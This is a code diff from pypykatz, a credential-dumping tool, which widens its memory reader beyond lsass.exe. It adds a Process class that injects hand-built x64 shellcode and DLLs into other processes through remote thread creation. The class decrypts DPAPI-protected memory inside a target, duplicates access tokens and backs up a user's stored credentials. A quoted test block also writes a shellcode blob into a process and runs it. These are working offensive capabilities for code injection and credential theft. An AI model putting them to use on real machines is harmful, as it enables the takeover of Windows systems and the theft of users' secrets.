7476 return self.BaseAddress <= addr < self.EndAddress
7577
76 def search(self, pattern, lsass_process_handle):
78 def search(self, pattern, process_handle):
7779 if len(pattern) > self.RegionSize:
7880 return []
79 data = ReadProcessMemory(lsass_process_handle, self.BaseAddress, self.RegionSize)
81 data = ReadProcessMemory(process_handle, self.BaseAddress, self.RegionSize)
8082 fl = []
8183 offset = 0
8284 while len(data) > len(pattern):
115117 # not in cache, check if it's present in memory space. if yes then create a new buffered memeory object, and copy data
116118 for page in self.reader.pages:
117119 if page.inrange(requested_position):
118 page.read_data(self.reader.lsass_process_handle)
120 page.read_data(self.reader.process_handle)
119121 newsegment = copy.deepcopy(page)
120122 self.pages.append(newsegment)
121123 self.current_segment = newsegment
264266
265267 return pos_s[0]
266268
267 def find_all_global(self, pattern):
269 def find_all_global(self, pattern, allocationprotect = 0x04):
268270 """
269271 Searches for the pattern in the whole process memory space and returns a list of addresses where the pattern begins.
270272 This is exhaustive!
271273 """
272 return self.reader.search(pattern)
274 return self.reader.search(pattern, allocationprotect = allocationprotect)
273275
274276 def get_ptr(self, pos):
275277 self.move(pos)
292294
293295
294296 class LiveReader:
295 def __init__(self, lsass_process_handle = None):
297 def __init__(self, process_handle = None, process_name='lsass.exe', process_pid = None):
296298 self.processor_architecture = None
297 self.lsass_process_name = 'lsass.exe'
298 self.lsass_process_handle = lsass_process_handle
299 self.process_name = process_name
300 self.process_handle = process_handle
301 self.process_pid = process_pid
299302 self.current_position = None
300303 self.BuildNumber = None
301304 self.modules = []
320323
321324 if is_windows_64 != is_python_64:
322325 raise Exception('Python interpreter must be the same architecure of the OS you are running it on.')
323
324
325
326
327326
328327 def setup(self):
329328 logging.log(1, 'Enabling debug privilege')
338337 buildnumber, t = winreg.QueryValueEx(key, 'CurrentBuildNumber')
339338 self.BuildNumber = int(buildnumber)
340339
341 if self.lsass_process_handle is None:
342 logging.log(1, 'Searching for lsass.exe')
343 pid = get_lsass_pid()
344 logging.log(1, 'Lsass.exe found at PID %d' % pid)
345 logging.log(1, 'Checking Lsass.exe protection status')
346 #proc_protection_info = get_protected_process_infos(pid)
347 #protection_msg = "Protection Status: No protection"
348 #if proc_protection_info:
349 # protection_msg = f"Protection Status: {proc_protection_info['type']}"
350 # if 'signer' in proc_protection_info:
351 # protection_msg += f" ({proc_protection_info['signer']})"
352 # raise Exception('Failed to open lsass.exe Reason: %s' % protection_msg)
353 #logging.log(1, protection_msg)
354 logging.log(1, 'Opening lsass.exe')
355 self.lsass_process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
356 if self.lsass_process_handle is None:
340 if self.process_handle is None:
341 if self.process_pid is None:
342 if self.process_name is None:
343 raise Exception('Process name or PID or opened handle must be provided')
344
345 logging.log(1, 'Searching for lsass.exe')
346 self.process_pid = pid_for_name(self.process_name)
347 logging.log(1, '%s found at PID %d' % (self.process_name, self.process_pid))
348 logging.log(1, 'Checking Lsass.exe protection status')
349 #proc_protection_info = get_protected_process_infos(pid)
350 #protection_msg = "Protection Status: No protection"
351 #if proc_protection_info:
352 # protection_msg = f"Protection Status: {proc_protection_info['type']}"
353 # if 'signer' in proc_protection_info:
354 # protection_msg += f" ({proc_protection_info['signer']})"
355 # raise Exception('Failed to open lsass.exe Reason: %s' % protection_msg)
356 #logging.log(1, protection_msg)
357 logging.log(1, 'Opening %s' % self.process_name)
358 self.process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, self.process_pid)
359 if self.process_handle is None:
357360 raise Exception('Failed to open lsass.exe Reason: %s' % ctypes.WinError())
358361 else:
359362 logging.debug('Using pre-defined handle')
360363 logging.log(1, 'Enumerating modules')
361 module_handles = EnumProcessModules(self.lsass_process_handle)
364 module_handles = EnumProcessModules(self.process_handle)
362365 for module_handle in module_handles:
363366
364 module_file_path = GetModuleFileNameExW(self.lsass_process_handle, module_handle)
367 module_file_path = GetModuleFileNameExW(self.process_handle, module_handle)
365368 logging.log(1, module_file_path)
366369 timestamp = 0
367370 if ntpath.basename(module_file_path).lower() == 'msv1_0.dll':
368371 timestamp = int(os.stat(module_file_path).st_ctime)
369372 self.msv_dll_timestamp = timestamp
370 modinfo = GetModuleInformation(self.lsass_process_handle, module_handle)
373 modinfo = GetModuleInformation(self.process_handle, module_handle)
371374 self.modules.append(Module.parse(module_file_path, modinfo, timestamp))
372375
373376 logging.log(1, 'Found %d modules' % len(self.modules))
374377
375378 current_address = sysinfo.lpMinimumApplicationAddress
376379 while current_address < sysinfo.lpMaximumApplicationAddress:
377 page_info = VirtualQueryEx(self.lsass_process_handle, current_address)
380 page_info = VirtualQueryEx(self.process_handle, current_address)
378381 self.pages.append(Page.parse(page_info))
379382
380383 current_address += page_info.RegionSize
383386
384387
385388 for page in self.pages:
386 #self.log(str(page))
387
388389 for mod in self.modules:
389390 if mod.inrange(page.BaseAddress) == True:
390391 mod.pages.append(page)
391
392 #for mod in self.modules:
393 # self.log('%s %d' % (mod.name, len(mod.pages)))
394392
395393 def get_buffered_reader(self):
396394 return BufferedLiveReader(self)
407405 raise Exception('Could not find module! %s' % module_name)
408406 needles = []
409407 for page in mod.pages:
410 needles += page.search(pattern, self.lsass_process_handle)
408 needles += page.search(pattern, self.process_handle)
411409 if len(needles) > 0 and find_first is True:
412410 return needles
413411
414412 return needles
413
414 def search(self, pattern, allocationprotect = 0x04):
415 t = []
416 for page in self.pages:
417 if page.AllocationProtect & allocationprotect:
418 t += page.search(pattern, self.process_handle)
419 return t
415420
416421 if __name__ == '__main__':
417422 logging.basicConfig(level=1)
0 from .common.version import *
1 from .common.live_reader_ctypes import *
2 from pypykatz.commons.winapi.local.function_defs.kernel32 import LoadLibraryW, GetProcAddressW, VirtualProtectEx, VirtualAllocEx, VirtualFreeEx, CreateRemoteThread
3 from pypykatz.commons.winapi.local.function_defs.advapi32 import OpenProcessToken, DuplicateTokenEx
4 from minidump.streams.SystemInfoStream import PROCESSOR_ARCHITECTURE
5 import ntpath
6 import os
7 import math
8
9 PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
10
11 # Token access rights
12 TOKEN_ASSIGN_PRIMARY = 0x0001
13 TOKEN_DUPLICATE = 0x0002
14 TOKEN_IMPERSONATE = 0x0004
15 TOKEN_QUERY = 0x0008
16 TOKEN_QUERY_SOURCE = 0x0010
17 TOKEN_ADJUST_PRIVILEGES = 0x0020
18 TOKEN_ADJUST_GROUPS = 0x0040
19 TOKEN_ADJUST_DEFAULT = 0x0080
20 TOKEN_ADJUST_SESSIONID = 0x0100
21 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY)
22 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
23 TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
24 TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
25 TOKEN_ADJUST_SESSIONID)
26
27 SecurityAnonymous = 0
28 SecurityIdentification = 1
29 SecurityImpersonation = 2
30 SecurityDelegation = 3
31
32 TokenPrimary = 1
33 TokenImpersonation = 2
34
35 #dont ask me...
36 #TOKEN_MANIP_ACCESS = (TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | (131072 | 4))
37
38 class Module:
39 def __init__(self):
40 self.name = None
41 self.baseaddress = None
42 self.size = None
43 self.endaddress = None
44 self.pages = []
45
46 self.versioninfo = None
47 self.checksum = None
48 self.timestamp = None
49
50 def inrange(self, addr):
51 return self.baseaddress <= addr < self.endaddress
52
53 @staticmethod
54 def parse(name, module_info, timestamp):
55 m = Module()
56 m.name = name
57 m.baseaddress = module_info.lpBaseOfDll
58 m.size = module_info.SizeOfImage
59 m.endaddress = m.baseaddress + m.size
60
61 m.timestamp = timestamp
62
63 return m
64
65 def __str__(self):
66 return '%s %s %s %s %s' % (self.name, hex(self.baseaddress), hex(self.size), hex(self.endaddress), self.timestamp )
67
68 class Page:
69 def __init__(self):
70 self.BaseAddress = None
71 self.AllocationBase = None
72 self.AllocationProtect = None
73 self.RegionSize = None
74 self.EndAddress = None
75
76 self.data = None
77
78 @staticmethod
79 def parse(page_info):
80 p = Page()
81 p.BaseAddress = page_info.BaseAddress
82 p.AllocationBase = page_info.AllocationBase
83 p.AllocationProtect = page_info.AllocationProtect
84 p.RegionSize = min(page_info.RegionSize, 100*1024*1024) # TODO: need this currently to stop infinite search
85 p.EndAddress = page_info.BaseAddress + page_info.RegionSize
86 return p
87
88 def read_data(self, process_handle):
89 self.data = ReadProcessMemory(process_handle, self.BaseAddress, self.RegionSize)
90
91 def inrange(self, addr):
92 return self.BaseAddress <= addr < self.EndAddress
93
94 def search(self, pattern, process_handle):
95 if len(pattern) > self.RegionSize:
96 return []
97 data = ReadProcessMemory(process_handle, self.BaseAddress, self.RegionSize)
98 fl = []
99 offset = 0
100 while len(data) > len(pattern):
101 marker = data.find(pattern)
102 if marker == -1:
103 return fl
104 fl.append(marker + offset + self.BaseAddress)
105 data = data[marker+1:]
106
107
108 class Process:
109 def __init__(self, pid = None, name = None, access = PROCESS_ALL_ACCESS, open = True):
110 self.pid = pid
111 self.name = name
112 self.access = access
113
114
115 self.sysinfo = None
116 self.processor_architecture = None
117
118
119 self.phandle = None
120 self.modules = []
121 self.pages = []
122
123 if open is True:
124 self.open()
125
126 def open(self):
127 self.sysinfo = GetSystemInfo()
128 self.processor_architecture = PROCESSOR_ARCHITECTURE(self.sysinfo.id.w.wProcessorArchitecture)
129 if self.phandle is None:
130 if self.pid is None:
131 if self.name is None:
132 raise Exception('Process name or PID or opened handle must be provided')
133
134 self.pid = pid_for_name(self.name)
135
136 self.phandle = OpenProcess(self.access, False, self.pid)
137 if self.phandle is None:
138 raise Exception('Failed to open %s(%s) Reason: %s' % (ctypes.WinError(), self.name, self.pid))
139
140 def list_modules(self):
141 self.modules = []
142 module_handles = EnumProcessModules(self.phandle)
143 for module_handle in module_handles:
144 module_file_path = GetModuleFileNameExW(self.phandle, module_handle)
145 logging.log(1, module_file_path)
146 timestamp = 0
147 if ntpath.basename(module_file_path).lower() == 'msv1_0.dll':
148 timestamp = int(os.stat(module_file_path).st_ctime)
149 self.msv_dll_timestamp = timestamp
150 modinfo = GetModuleInformation(self.phandle, module_handle)
151 self.modules.append(Module.parse(module_file_path, modinfo, timestamp))
152 return self.modules
153
154 def list_pages(self):
155 self.pages = []
156 current_address = self.sysinfo.lpMinimumApplicationAddress
157 while current_address < self.sysinfo.lpMaximumApplicationAddress:
158 page_info = VirtualQueryEx(self.phandle, current_address)
159 self.pages.append(Page.parse(page_info))
160
161 current_address += page_info.RegionSize
162
163 def page_find_for_addr(self, addr):
164 self.list_pages()
165 selected_page = None
166 for page in self.pages:
167 if page.inrange(addr):
168 selected_page = page
169 if selected_page is None:
170 raise Exception('Address not found in pages!')
171 return selected_page
172
173 def page_change_protect(self, addr, flags = PAGE_EXECUTE_READWRITE):
174 selected_page = self.page_find_for_addr(addr)
175 return VirtualProtectEx(self.phandle, selected_page.BaseAddress, selected_page.RegionSize, flags)
176
177 def page_alloc(self, size, addr = 0, allocation_type = MEM_COMMIT | MEM_RESERVE, allocation_protect = PAGE_EXECUTE_READWRITE):
178 return VirtualAllocEx(self.phandle, lpAddress = addr, dwSize = size, flAllocationType = allocation_type, flProtect = allocation_protect)
179
180 def page_free(self, addr, free_type = MEM_RELEASE):
181 selected_page = self.page_find_for_addr(addr)
182 dwsize = 0 if free_type == MEM_RELEASE else selected_page.RegionSize
183 return VirtualFreeEx(self.phandle, selected_page.BaseAddress, dwsize, dwFreeType = free_type)
184
185 def read(self, pos, amount):
186 return ReadProcessMemory(self.phandle, pos, amount)
187
188 def write(self, pos, buffer):
189 return WriteProcessMemory(self.phandle, pos, buffer)
190
191 def create_thread(self, start_addr):
192 return CreateRemoteThread(self.phandle, None, 0, start_addr, None, 0)
193
194 def find_module_by_name(self, module_name):
195 if len(self.modules) == 0:
196 self.list_modules()
197 for module in self.modules:
198 #print(module.name)
199 if module.name.lower().find(module_name.lower()) != -1:
200 #print('Found remote DLL!')
201 return module
202
203 def get_remote_function_addr(self, dll_name, function_name, force_load = False):
204 module_handle = LoadLibraryW(dll_name)
205 #print(module_handle)
206 function_addr_total = GetProcAddressW(module_handle, function_name)
207 #print('function_addr %s' % hex(function_addr_total))
208
209 modinfo = GetModuleInformation(GetCurrentProcess(), module_handle)
210 module = Module.parse(dll_name, modinfo, None)
211 function_addr_offset = module.baseaddress - function_addr_total
212
213 #print('function_addr_offset %s' % hex(function_addr_offset))
214
215 module = self.find_module_by_name(dll_name)
216 if module is None:
217 if force_load is True:
218 self.load_dll(dll_name)
219 self.list_modules()
220 module = self.find_module_by_name(dll_name)
221 if module is None:
222 return None
223
224 return module.baseaddress - function_addr_offset
225
226 @staticmethod
227 def int_to_asm(x, bitsize = 64):
228 return x.to_bytes(bitsize//8, byteorder = 'little', signed = False)
229
230 def invoke_remote_function(self, enclave, fnc_addr, p1_addr, p2_addr, p3_addr, exitthread_addr):
231 #https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-160
232 #https://defuse.ca/online-x86-assembler.htm#disassembly
233
234
235
236 #p1_addr = 0
237 #p2_addr = 0
238 #p3_addr = 0
239 #fnc_addr = 0
240
241 #first_param
242 p1 = b'\x48\xb9' + Process.int_to_asm(p1_addr) # MOVABS RCX,<ADDR>
243 #second_param
244 p2 = b'\x48\xba' + Process.int_to_asm(p2_addr) # MOVABS RDX,<ADDR>
245 #third_param
246 p3 = b'\x49\xb8' + Process.int_to_asm(p3_addr) # MOVABS R8,<ADDR>
247 #load function address to RAX
248 fnc = b'\x48\xb8' + Process.int_to_asm(fnc_addr) # MOVABS RAX,<ADDR>
249 #CALL function address (in RAX)
250 call_fnc = b'\xff\xd0' # CALL RAX
251
252 exit_code_set = b'\x48\x89\xC1' # mov rcx, rax
253 thread_exit_fnc = b'\x48\xb8' + Process.int_to_asm(exitthread_addr) # MOVABS RAX,<ADDR>
254 #CALL function address (in RAX)
255 call_thread_exit_fnc = b'\xff\xd0' # CALL RAX
256
257 code = p3 + p2 + p1 + fnc + call_fnc + exit_code_set + thread_exit_fnc + call_thread_exit_fnc
258 #print('code: %s' % code.hex())
259 self.write(enclave, code)
260 #input()
261
262 thread_handle, thread_id = self.create_thread(enclave)
263 #print(thread_handle)
264 thread_exit = GetExitCodeThread(thread_handle)
265 #print(thread_exit)
266
267 def load_dll(self, dll_path):
268 if dll_path[-1] != '\x00':
269 dll_path += '\x00'
270
271 loadlibrary_addr = self.get_remote_function_addr("Kernel32.dll", "LoadLibraryW")
272 exitthread_addr = self.get_remote_function_addr("Kernel32.dll", "ExitThread")
273
274
275 code_cave = self.page_alloc(2048)
276 dllname_page = self.page_alloc(2048)
277 self.write(dllname_page, dll_path.encode('utf-16-le'))
278
279 code = b''
280 code += b'\x48\xb9' + Process.int_to_asm(dllname_page) # MOVABS RCX,<ADDR>
281 code += b'\x48\xb8' + Process.int_to_asm(loadlibrary_addr) # MOVABS RAX,<ADDR>
282 code += b'\xff\xd0' # CALL RAX
283 code += b''
284 code += b'\x48\x89\xC1' # mov rcx, rax
285 code += b'\x48\xb8' + Process.int_to_asm(exitthread_addr) # MOVABS RAX,<ADDR>
286 code += b'\xff\xd0' # CALL RAX
287
288 self.write(code_cave, code)
289 thread_handle, thread_id = self.create_thread(code_cave)
290 WaitForSingleObject(thread_handle, 100) #waiting for the shellcode to finish...
291
292 self.page_free(code_cave)
293
294
295 def dpapi_memory_unprotect(self, protected_blob_addr, protected_blob_size, flags = 0):
296 protected_blob_size = 16 * math.ceil(protected_blob_size/16)
297 return self.dpapi_memory_unprotect_x64(protected_blob_addr, protected_blob_size, flags)
298
299 def dpapi_memory_unprotect_x64(self, protected_blob_addr, protected_blob_size, flags = 0):
300 # https://docs.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptunprotectmemory
301 #CRYPTPROTECTMEMORY_SAME_PROCESS 0
302 #CRYPTPROTECTMEMORY_CROSS_PROCESS 1
303 #CRYPTPROTECTMEMORY_SAME_LOGON 2
304
305
306 #finding remote function addresses
307 protectmemory_addr = self.get_remote_function_addr("Crypt32.dll", "CryptProtectMemory", True)
308 unprotectmemory_addr = self.get_remote_function_addr("Crypt32.dll", "CryptUnprotectMemory", True)
309 exitthread_addr = self.get_remote_function_addr("Kernel32.dll", "ExitThread")
310 copymemory_addr = self.get_remote_function_addr("NtDll.dll", "RtlCopyMemory")
311 #print('unprotectmemory_addr %s' % hex(unprotectmemory_addr))
312 #print('exitthread_addr %s' % hex(exitthread_addr))
313 #print('copymemory_addr %s' % hex(copymemory_addr))
314
315
316 # allocating memory in remote process
317 code_cave = self.page_alloc(1024)
318 result_cave = self.page_alloc(protected_blob_size*10)
319 #print('code_cave : %s' % hex(code_cave))
320 #print('result_cave : %s' % hex(result_cave))
321
322
323 #building code
324 code = b''
325 code += b'\x48\xb9' + Process.int_to_asm(protected_blob_addr) # MOVABS RCX,<ADDR>
326 code += b'\x48\xba' + Process.int_to_asm(protected_blob_size) # MOVABS RDX,<ADDR>
327 code += b'\x49\xb8' + Process.int_to_asm(flags) # MOVABS R8,<ADDR>
328 code += b'\x48\xb8' + Process.int_to_asm(unprotectmemory_addr) # MOVABS RAX,<ADDR>
329 code += b'\xff\xd0' # CALL RAX
330 code += b''
331 code += b'\x48\xb9' + Process.int_to_asm(result_cave) # MOVABS RCX,<ADDR>
332 code += b'\x48\xba' + Process.int_to_asm(protected_blob_addr) # MOVABS RDX,<ADDR>
333 code += b'\x49\xb8' + Process.int_to_asm(protected_blob_size) # MOVABS R8,<ADDR>
334 code += b'\x48\xb8' + Process.int_to_asm(copymemory_addr) # MOVABS RAX,<ADDR>
335 code += b'\xff\xd0' # CALL RAX
336 code += b''
337 code += b'\x48\xb9' + Process.int_to_asm(protected_blob_addr) # MOVABS RCX,<ADDR>
338 code += b'\x48\xba' + Process.int_to_asm(protected_blob_size) # MOVABS RDX,<ADDR>
339 code += b'\x49\xb8' + Process.int_to_asm(flags) # MOVABS R8,<ADDR>
340 code += b'\x48\xb8' + Process.int_to_asm(protectmemory_addr) # MOVABS RAX,<ADDR>
341 code += b'\xff\xd0' # CALL RAX
342 code += b''
343 code += b'\x48\x89\xC1' # mov rcx, rax
344 code += b'\x48\xb8' + Process.int_to_asm(exitthread_addr) # MOVABS RAX,<ADDR>
345 code += b'\xff\xd0' # CALL RAX
346
347
348 #print('code: %s' % code.hex())
349 self.write(code_cave, code)
350
351 thread_handle, thread_id = self.create_thread(code_cave)
352 WaitForSingleObject(thread_handle, 100) #waiting for the shellcode to finish...
353 thread_exit_code = GetExitCodeThread(thread_handle)
354 #print(thread_exit_code)
355
356 result = self.read(result_cave, protected_blob_size)
357
358 self.page_free(code_cave)
359 self.page_free(result_cave)
360 return result
361
362 def get_process_token(self, dwDesiredAccess = TOKEN_ALL_ACCESS):
363 return OpenProcessToken(self.phandle, dwDesiredAccess)
364
365 def duplicate_token(self, dwDesiredAccess = TOKEN_ALL_ACCESS, ImpersonationLevel = SecurityImpersonation, TokenType = 2):
366 #proc_handle = self.api.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, pid)
367 token_handle = OpenProcessToken(self.phandle, TOKEN_DUPLICATE)
368 cloned_token = DuplicateTokenEx(
369 token_handle,
370 dwDesiredAccess = dwDesiredAccess,
371 ImpersonationLevel = ImpersonationLevel,
372 TokenType = TokenType
373 )
374 CloseHandle(token_handle)
375 return cloned_token
376 if __name__ == '__main__':
377 calc = Process(pid=16236)
378 calc.list_pages()
379 calc.list_modules()
380 print(1)
381 """
382
383
384 data = calc.read(140705499119616, 0x100)
385 print(data)
386 new_addr = calc.page_alloc(0x1000)
387 print(new_addr)
388 data = calc.read(new_addr, 0x100)
389 print(data)
390 data = calc.write(new_addr, b'HELLO WORLD!')
391 print(data)
392 data = calc.read(new_addr, 0x100)
393 print(data)
394 x = calc.page_change_protect(new_addr, flags = PAGE_EXECUTE_READ)
395 print(x)
396 try:
397 data = calc.write(new_addr, b'A'*20)
398 print(data)
399 except:
400 print('Error but it is expected')
401 calc.page_change_protect(new_addr)
402 data = calc.write(new_addr, b'A'*20)
403 print(data)
404 data = calc.read(new_addr, 0x100)
405 print(data)
406
407 calc.page_free(new_addr)
408 ###################################################################################
409 msgbox = b"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" +\
410 b"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" + \
411 b"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" + \
412 b"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" +\
413 b"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"+\
414 b"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"+\
415 b"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"+\
416 b"\x49\x0b\x31\xc0\x51\x50\xff\xd7"
417
418 new_addr = calc.page_alloc(0x1000)
419 print(hex(new_addr))
420 data = calc.write(new_addr, msgbox)
421 print(data)
422
423 data = calc.read(new_addr, 0x100)
424 print(data)
425
426 calc.create_thread(new_addr)
427
428
429 #calc.page_free(new_addr)
430 """
431 #unprotectmemory_addr = calc.get_remote_function_addr("Crypt32.dll", "CryptUnprotectMemory")
432 #print('unprotectmemory_addr %s' % hex(unprotectmemory_addr))
433 #exitthread_addr = calc.get_remote_function_addr("Kernel32.dll", "ExitThread")
434 #print('exitthread_addr %s' % hex(exitthread_addr))
435 #copymemory_addr = calc.get_remote_function_addr("Kernel32.dll", "CopyMemory")
436 #print('copymemory_addr %s' % hex(exitthread_addr))
437 #cave = calc.page_alloc(0x1000)
438 #print('enclave : %s' % hex(cave))
439 #input()
440 #calc.invoke_remote_function(cave, unprotectmemory_addr, 0x0000019DE0535440, 64, 0, exitthread_addr)
441 calc.dpapi_memory_unprotect(0x0000027E24B918B0, 64, same_process = 0)
442
00 import logging
11 from typing import List
22
3 from volatility.framework import interfaces, constants, exceptions, symbols
4 from volatility.framework import renderers
5 from volatility.framework.configuration import requirements
6 from volatility.framework.objects import utility
7 from volatility.framework.symbols import intermed
8 from volatility.framework.symbols.windows import extensions
9 from volatility.framework.layers.scanners import MultiStringScanner
10 from volatility.plugins.windows import pslist, vadinfo
3 from volatility3.framework import interfaces, constants, exceptions, symbols
4 from volatility3.framework import renderers
5 from volatility3.framework.configuration import requirements
6 from volatility3.framework.objects import utility
7 from volatility3.framework.symbols import intermed
8 from volatility3.framework.symbols.windows import extensions
9 from volatility3.framework.layers.scanners import MultiStringScanner
10 from volatility3.plugins.windows import pslist, vadinfo
55
66 PROCESS_QUERY_INFORMATION = 0x0400
77 PROCESS_VM_READ = 0x0010
8 PROCESS_VM_WRITE = 0x0020
9 PROCESS_VM_OPERATION = 0x0008
10 PROCESS_CREATE_THREAD = 0x0002
811
912 # Standard access rights
1013 DELETE = 0x00010000
00
11 import ctypes
22 from pypykatz.commons.winapi.constants import *
3 from pypykatz.commons.winapi.local.function_defs.advapi32 import RevertToSelf, LookupPrivilegeValueW, OpenProcessToken, GetTokenInformation_sid, LookupAccountSidW, ConvertSidToStringSidA, DuplicateTokenEx, CreateProcessWithTokenW, SetThreadToken, ConvertStringSidToSidA, LOGON_NETCREDENTIALS_ONLY
3 from pypykatz.commons.winapi.local.function_defs.advapi32 import RevertToSelf, LookupPrivilegeValueW, OpenProcessToken, \
4 GetTokenInformation_sid, LookupAccountSidW, ConvertSidToStringSidA, DuplicateTokenEx, CreateProcessWithTokenW, \
5 SetThreadToken, ConvertStringSidToSidA, LOGON_NETCREDENTIALS_ONLY, OpenSCManagerW, SC_MANAGER_ALL_ACCESS, \
6 SERVICE_DRIVER, SERVICE_WIN32, SERVICE_STATE_ALL, EnumServicesStatusW, EnumServicesStatusExW, SC_ENUM_PROCESS_INFO
47 from pypykatz.commons.winapi.local.function_defs.kernel32 import STARTUPINFOW
58
69
7679 @staticmethod
7780 def RevertToSelf():
7881 return RevertToSelf()
79
82
83 @staticmethod
84 def OpenSCManager(dwDesiredAccess = SC_MANAGER_ALL_ACCESS):
85 return OpenSCManagerW(dwDesiredAccess = dwDesiredAccess)
86
87 @staticmethod
88 def EnumServicesStatus(hSCManager, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL):
89 return EnumServicesStatusW(hSCManager, dwServiceType = dwServiceType, dwServiceState = dwServiceState)
90
91 @staticmethod
92 def EnumServicesStatusEx(hSCManager, InfoLevel = SC_ENUM_PROCESS_INFO, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL, pszGroupName = None):
93 return EnumServicesStatusExW(hSCManager, InfoLevel = InfoLevel, dwServiceType = dwServiceType, dwServiceState = dwServiceState, pszGroupName = pszGroupName)
28212821 _OpenSCManagerW.restype = SC_HANDLE
28222822 _OpenSCManagerW.errcheck = RaiseIfZero
28232823
2824 hSCObject = _OpenSCManagerA(lpMachineName, lpDatabaseName, dwDesiredAccess)
2825 return ServiceControlManagerHANDLE(hSCObject)
2824 hSCObject = _OpenSCManagerW(lpMachineName, lpDatabaseName, dwDesiredAccess)
2825 return hSCObject
28262826
28272827 OpenSCManager = GuessStringType(OpenSCManagerA, OpenSCManagerW)
28282828
31993199 while GetLastError() == ERROR_MORE_DATA:
32003200 if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUSW):
32013201 break
3202 ServicesBuffer = ctypes.create_string_buffer("", cbBytesNeeded.value)
3202 ServicesBuffer = ctypes.create_string_buffer(b"", cbBytesNeeded.value)
32033203 success = _EnumServicesStatusW(hSCManager, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE))
32043204 if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUSW) * ServicesReturned.value):
32053205 raise ctypes.WinError()
32063206 lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUSW)
32073207 for index in range(0, ServicesReturned.value):
3208 Services.append( ServiceStatusEntry(lpServicesArray[index]) )
3208 Services.append( lpServicesArray[index])
32093209 if success: break
32103210 if not success:
32113211 raise ctypes.WinError()
32513251 if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUS_PROCESSA) * ServicesReturned.value):
32523252 raise ctypes.WinError()
32533253 lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUS_PROCESSA)
3254 for index in xrange(0, ServicesReturned.value):
3254 for index in range(0, ServicesReturned.value):
32553255 Services.append( ServiceStatusProcessEntry(lpServicesArray[index]) )
32563256 if success: break
32573257 if not success:
32783278 while GetLastError() == ERROR_MORE_DATA:
32793279 if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUS_PROCESSW):
32803280 break
3281 ServicesBuffer = ctypes.create_string_buffer("", cbBytesNeeded.value)
3281 ServicesBuffer = ctypes.create_string_buffer(b"", cbBytesNeeded.value)
32823282 success = _EnumServicesStatusExW(hSCManager, InfoLevel, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE), pszGroupName)
32833283 if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUS_PROCESSW) * ServicesReturned.value):
32843284 raise ctypes.WinError()
32853285 lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUS_PROCESSW)
3286 for index in xrange(0, ServicesReturned.value):
3287 Services.append( ServiceStatusProcessEntry(lpServicesArray[index]) )
3286 for index in range(0, ServicesReturned.value):
3287 Services.append( lpServicesArray[index])
32883288 if success: break
32893289 if not success:
32903290 raise ctypes.WinError()
33263326
33273327 _RevertToSelf()
33283328
3329 def CredBackupCredentials(token, path, password = None, flags = 0):
3330 _CredBackupCredentials = windll.advapi32.CredBackupCredentials
3331 _CredBackupCredentials.argtypes = [HANDLE, LPWSTR, PVOID, DWORD, DWORD]
3332 _CredBackupCredentials.restype = bool
3333
3334 ppath = ctypes.create_unicode_buffer(path)
3335
3336 ppassword = None
3337 ppasswordlen = DWORD(0)
3338 if password is not None:
3339 ppassword = ctypes.create_string_buffer(password.encode('utf-16-le'))
3340 ppasswordlen = DWORD(len(password.encode('utf-16-le')))
3341
3342 success = _CredBackupCredentials(token, ppath, ppassword, ppasswordlen, flags)
3343
3344 if not success:
3345 raise ctypes.WinError()
3346
3347 return success
3348
3349
33293350 #==============================================================================
33303351 # This calculates the list of exported symbols.
33313352 _all = set(vars().keys()).difference(_all)
33323353 __all__ = [_x for _x in _all if not _x.startswith('_')]
33333354 __all__.sort()
3334 #==============================================================================
3355 #==============================================================================
618618 ('lpAttributeList', PPROC_THREAD_ATTRIBUTE_LIST),
619619 ]
620620 LPSTARTUPINFOEXW = POINTER(STARTUPINFOEXW)
621
622
623
624 # BOOL WINAPI VirtualProtectEx(
625 # __in HANDLE hProcess,
626 # __in LPVOID lpAddress,
627 # __in SIZE_T dwSize,
628 # __in DWORD flNewProtect,
